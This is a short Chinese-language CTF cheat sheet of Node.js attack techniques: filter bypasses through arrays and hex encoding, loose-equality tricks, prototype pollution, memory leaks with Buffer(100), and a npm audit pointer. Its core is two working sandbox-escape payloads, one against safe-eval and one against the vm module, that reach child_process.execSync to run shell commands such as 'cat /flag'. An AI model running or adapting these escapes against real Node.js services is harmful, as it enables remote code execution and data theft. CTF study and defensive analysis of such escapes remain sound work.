JavaScript
Fuzz
Object.getOwnPropertyNames(this)
得到依赖包名Error().stack
抛出栈错误
绕过
数组绕过
\x70\x72\x6f\x74\x6f\x74\x79\x70\x65
编码绕过
弱类型比较
[1] == 1
'1' == 1
函数“缺陷”
setTimeout(callback, delay[, ...args])
当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。 非整数的 delay 会被截断为整数。
如果 callback 不是函数,则抛出 TypeError。
原型链污染
参考资料
VM虚拟机逃逸
Buffer
随机泄露内存
Buffer(100)
升级版
for (var step = 0; step < 100000; step++) {
var buf = (new Buffer(100)).toString('ascii');
if (buf.indexOf("target") !== -1) break;
}
buf;
Payload
Safe-Eval
clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
(function () {
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
};
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
return i.mainModule.require("child_process").execSync("cat /flag").toString()
}()).toString()
参考资料
https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md
NPM 包管理安全检测
npm audit
拓展资料
nodejs 语法手册 http://nodejs.cn/api/
Vulnerablity Database: